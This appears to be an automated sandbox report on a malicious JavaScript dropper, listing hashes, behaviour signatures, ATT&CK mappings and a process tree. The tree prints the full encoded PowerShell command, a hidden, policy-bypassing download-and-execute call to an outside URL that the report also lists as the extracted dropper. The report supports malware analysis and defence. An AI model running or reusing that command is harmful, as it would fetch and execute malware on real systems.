f8f20084f32fb359436412a559fdba8cb99e29c1b4e4bf0aed877ab29117b472

General

Target
2021APT-28_13128453.js
Size 128KB
Sample210729-72fqtx17fj
SHA256 f8f20084f32fb359436412a559fdba8cb99e29c1b4e4bf0aed877ab29117b472
MD5 6ef9bba4c012fe952257d6ddfeb32640
SHA1 4cf6cee2eea955a332bd79cf542e1e0d0e23dc1e
SHA512 af8f8e56face0bc53141f4e0d774e1b45a5b225586a152fff52f2fac029bb8c85deb8a45807b7f3b9b35a4764650b52c6f9678ea6690a6e88cfc14ca5877b1d2
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	3156	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2116	3156	WerFault.exe	77

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
3156	powershell.exe
3156	powershell.exe
3156	powershell.exe
2116	WerFault.exe
2116	WerFault.exe
2116	WerFault.exe
2116	WerFault.exe
2116	WerFault.exe
2116	WerFault.exe
2116	WerFault.exe
2116	WerFault.exe
2116	WerFault.exe
2116	WerFault.exe
2116	WerFault.exe
2116	WerFault.exe
2116	WerFault.exe
2116	WerFault.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3156	powershell.exe
Token: SeDebugPrivilege	2116	WerFault.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 640 wrote to memory of 3180	640	wscript.exe	75
PID 640 wrote to memory of 3180	640	wscript.exe	75
PID 3180 wrote to memory of 3156	3180	cmd.exe	77
PID 3180 wrote to memory of 3156	3180	cmd.exe	77

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2021APT-28_13128453.js
1⤵
- Suspicious use of WriteProcessMemory
PID:640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3180
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3156
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3156 -s 2320
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2116

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3156-121-0x000002095D6F0000-0x000002095D6F1000-memory.dmp

Download

memory/3156-127-0x000002095D8A0000-0x000002095D8A1000-memory.dmp

Download

memory/3156-128-0x0000020943030000-0x0000020943032000-memory.dmp

Download

memory/3156-129-0x0000020943033000-0x0000020943035000-memory.dmp

Download

memory/3156-144-0x0000020943036000-0x0000020943038000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads